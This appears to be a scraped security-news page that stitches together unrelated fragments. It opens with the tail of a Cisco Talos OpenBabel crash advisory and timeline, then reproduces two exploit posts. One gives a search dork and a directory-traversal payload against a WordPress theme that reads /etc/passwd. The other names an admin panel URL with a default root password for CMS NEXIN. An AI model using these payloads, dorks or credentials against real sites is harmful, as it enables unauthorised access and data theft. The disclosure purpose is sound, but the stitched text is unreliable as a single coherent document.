        #0 0xf4f51af1 in OpenBabel::PQSFormat::ReadMolecule(OpenBabel::OBBase*, OpenBabel::OBConversion*) ./src/formats/PQSformat.cpp:263
        #1 0xf751a915 in OpenBabel::OBMoleculeFormat::ReadChemObjectImpl(OpenBabel::OBConversion*, OpenBabel::OBFormat*) ./src/obmolecformat.cpp:102
        #2 0xf63c358c in OpenBabel::OBMoleculeFormat::ReadChemObject(OpenBabel::OBConversion*) ./include/openbabel/obmolecformat.h:116
        #3 0xf72a204e in OpenBabel::OBConversion::Convert() ./src/obconversion.cpp:545
        #4 0xf72c717a in OpenBabel::OBConversion::Convert(std::istream*, std::ostream*) ./src/obconversion.cpp:481
        #5 0xf72cf4f3 in OpenBabel::OBConversion::FullConvert(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >&) ./src/obconversion.cpp:1514
        #6 0x565594ea in main ./tools/obabel.cpp:370
        #7 0xf77923b4 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #8 0xf779247e in __libc_start_main_impl ../csu/libc-start.c:389
        #9 0x5655c356 in _start (./bin/obabel+0x7356)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV ./src/formats/PQSformat.cpp:263 in OpenBabel::PQSFormat::ReadMolecule(OpenBabel::OBBase*, OpenBabel::OBConversion*)
    ==1280241==ABORTING
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2022-12-20 - Initial Vendor Contact  
2023-01-12 - Vendor Disclosure  
2023-07-21 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-46280: TALOS-2022-1670 || Cisco Talos Intelligence Group

WordPress ChurcHope Responsive Themes version 4.7.x suffers from a directory traversal vulnerability.

**WordPress ChurcHope Responsive Themes 4.7.x Directory Traversal**

Posted Jul 21, 2023

Authored by indoushka

WordPress ChurcHope Responsive Themes version 4.7.x suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 5725a62c968e651e09b1218973491c6cf875301d455e111d6a9f075de9cbe5f8

Download | Favorite | View

**WordPress ChurcHope Responsive Themes 4.7.x Directory Traversal**

    ====================================================================================================================================| # Title     : WordPress - ChurcHope Responsive Themes 4.7.x Directory Traversal Vulnerability                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : http://themeforest.net/item/churchope-responsive-wordpress-theme/2708562                                           |  | # Dork      : "/wp-content/themes/churchope/lib/"                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../../../../../../etc/passwd[+] http://127.0.0.1/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../../../../../../etc/passwdGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

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WordPress ChurcHope Responsive Themes 4.7.x Directory Traversal

CMS NEXIN version 2.0 appears to leave default credentials installed after installation.

**CMS NEXIN 2.0 Insecure Settings**

Posted Jul 21, 2023

Authored by indoushka

CMS NEXIN version 2.0 appears to leave default credentials installed after installation.

tags | exploit

SHA-256 | 25b10702af932a169c8f962ba428cb35c1dcfb81a0c4d0c73e21de4f9e2d2054

Download | Favorite | View

**CMS NEXIN 2.0 Insecure Settings**

    ====================================================================================================================================| # Title     : CMS NEXIN engine v2.0 Insecure Settings Vulnerability                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://www.composeit.hu/                                                                                           |  | # Dork      : NEXIN engine v2.0                                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] appears to leave a default administrative account in place post installation.[+] Panel : http://wlugashotelcom/admin/[+] User : root & pass : job314Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

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